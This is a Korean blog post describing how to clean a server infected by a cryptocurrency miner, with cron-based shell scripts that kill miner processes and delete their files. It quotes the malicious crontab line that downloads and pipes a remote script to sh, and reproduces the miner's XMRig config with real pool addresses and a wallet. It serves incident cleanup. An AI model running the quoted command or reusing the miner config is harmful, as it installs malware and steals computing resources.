메뉴 건너뛰기

Bigdata, Semantic IoT, Hadoop, NoSQL

Bigdata, Hadoop ecosystem, Semantic IoT등의 프로젝트를 진행중에 습득한 내용을 정리하는 곳입니다.
필요한 분을 위해서 공개하고 있습니다. 문의사항은 gooper@gooper.com로 메일을 보내주세요.


0. crontab에 등록되어 있는 문장을 삭제한다.

 - * * * * * wget -q http://192.99.142.232:8220/logo4.jpg -O - | sh

0-1. top을 해서 cpu나 메모리를 100%이상 사용하는 프로세스를 찾아 지워준다

 ( "jps -ef | grep 프로세스ID"로 찾아서 반복적으로 지우는 shell프로그램을 만들어 crontab에 등록시켜준다.)

 (예, 

  root@gsda4:/root# ps -ef | grep 19544

  root     19544     1 99 22:05 ?        00:41:51 /tmp/java -c /tmp/w.conf

  root     23204 18301  0 22:16 pts/0    00:00:00 grep 19544

 )


1. shell프로그램을 만들어서 755권한을 부여한후 crontab에 등록해서 특정 문자열이 들어 있는 프로세스를 죽이고 관련 폴더/파일을 삭제한다.

2. /var/tmp/config.json 이 있으면 지워준다.

root@gsda4:/var/tmp# vi config.json 
{
    "algo": "cryptonight",  // cryptonight (default) or cryptonight-lite
    "av": 0,                // algorithm variation, 0 auto select
    "background": true,    // true to run the miner in the background
    "colors": true,         // false to disable colored output    
    "cpu-affinity": null,   // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
    "cpu-priority": null,   // set process priority (0 idle, 2 normal to 5 highest)
    "donate-level": 1,      // donate level, mininum 1%
    "log-file": null,       // log all output to a file, example: "c:/some/path/xmrig.log"
    "max-cpu-usage": 95,    // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.  
    "print-time": 60,       // print hashrate report every N seconds
    "retries": 5,           // number of times to retry before switch to backup server
    "retry-pause": 5,       // time to pause between retries
    "safe": false,          // true to safe adjust threads and av settings for current CPU
    "threads": null,        // number of miner threads
    "pools": [
        {
            "url": "158.69.133.20:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "192.99.142.249:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        },
        {
            "url": "202.144.193.110:3333",   // URL of mining server
            "user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg",                        // username for mining server
            "pass": "x",                       // password for mining server
            "keepalive": true,                 // send keepalived for prevent timeout (need pool support)
            "nicehash": false                  // enable nicehash/xmrig-proxy support
        }
    ],
    "api": {
        "port": 0,                             // port for the miner API https://github.com/xmrig/xmrig/wiki/API
        "access-token": null,                  // access token for API
        "worker-id": null                      // custom worker-id for API
    }
}


3. /tmp 폴더 정리

  -  ???.conf 류의 파일 삭제

  - /tmp/java 삭제

  - /tmp/conf 삭제



-> crontab -e

* * * * * /suppoie.sh

* * * * * /tmpconf.sh

* * * * * /crypto.sh


1.suppoie.sh

#!/bin/sh


Log=/home/suppoie.log

DATE=`date +%Y%m%d-%H%M%S`


Cnt=`ps -ef|grep "suppoie"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "suppoie"|grep -v grep|awk '{print $2}'`


if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : suppoie server (PID : $PROCESS) has killed." >> $Log

   rm /var/tmp/config.json

   rm /var/tmp/suppoie

fi


2. tmpconf.sh

#!/bin/sh


Log=/home/tmpconf.log

DATE=`date +%Y%m%d-%H%M%S`


Cnt=`ps -ef|grep "tmp/java"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "tmp/java"|grep -v grep|awk '{print $2}'`


if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : tmpconf server (PID : $PROCESS) has killed." >> $Log

fi


3. crypto.sh

#!/bin/sh


Log=/home/crypto.log

DATE=`date +%Y%m%d-%H%M%S`


Cnt=`ps -ef|grep "crypto"|grep -v grep|wc -l`

PROCESS=`ps -ef|grep "crypto"|grep -v grep|awk '{print $2}'`


if [ $Cnt -ne 0 ]

then

   kill -9 $PROCESS

   echo "$DATE : crypto server (PID : $PROCESS) has killed." >> $Log

fi

번호 제목 글쓴이 날짜 조회 수
577 oozie 4.1 설치 - maven을 이용한 source compile on hadoop 2.5.2 with postgresql 9.3 총관리자 2015.04.30 860
576 ubuntu에 maven 3.6.1설치 및 환경변수 설정 총관리자 2019.06.02 856
575 Impala의 Queries탭에서 여러조건으로 쿼리 찾기 총관리자 2018.05.09 842
574 [SBT] SBT 사용법 정리(링크) 총관리자 2016.08.04 838
573 dual table만들기 총관리자 2014.05.16 812
572 [shellscript]엑셀파일에서 여러줄에 존재하는 단어를 한줄의 문자열로 합치는 방법(comma로 구분) 총관리자 2019.07.15 811
571 update 샘플 총관리자 2018.03.12 810
570 Hive JDBC Connection과 유형별 에러및 필요한 jar파일 총관리자 2021.05.24 809
569 oozie job 구동시 JA009: User: hadoop is not allowed to impersonate hadoop 오류나는 경우 총관리자 2014.06.02 807
568 hive query에서 mapreduce돌리지 않고 select하는 방법 총관리자 2014.05.23 806
567 [Mybatis]Spring과 연동하지 않고 Java+Mybatis 형태의 프로그램 샘플소스 총관리자 2016.09.01 793
566 mongodb aggregation query를 Java code로 변환한 샘플 총관리자 2016.12.15 777
565 sentry설정 방법및 활성화시 설정이 필요한 파일및 설정값, 계정생성 방법 총관리자 2018.08.16 765
564 oracle to hive data type정리표 총관리자 2018.08.22 763
563 python test.py실행시 "ImportError: No module named pyspark" 혹은 "ImportError: No module named py4j.protocol"등의 오류 발생시 조치사항 총관리자 2017.07.04 761
562 [DBeaver 4.3.0]import/export시 "Client home is not specified for connection" 오류발생시 조치사항 총관리자 2017.12.21 753
561 [Kerberos]Kerberos상태의 클러스터에 JDBC로 접근할때 케이스별 오류내용 총관리자 2020.02.14 747
560 beeline실행시 User: root is not allowed to impersonate오류 발생시 조치사항 총관리자 2016.06.03 744
559 Cloudera Manager web UI의 언어를 한글에서 영문으로 변경하기 총관리자 2018.04.03 741
558 os가 windows7인 host pc에서 ubuntu가 os인 guest pc에 접근하기 위한 네트워크설정 총관리자 2014.04.20 725

A personal place to organize information learned during the development of such Hadoop, Hive, Hbase, Semantic IoT, etc.
We are open to the required minutes. Please send inquiries to gooper@gooper.com.

위로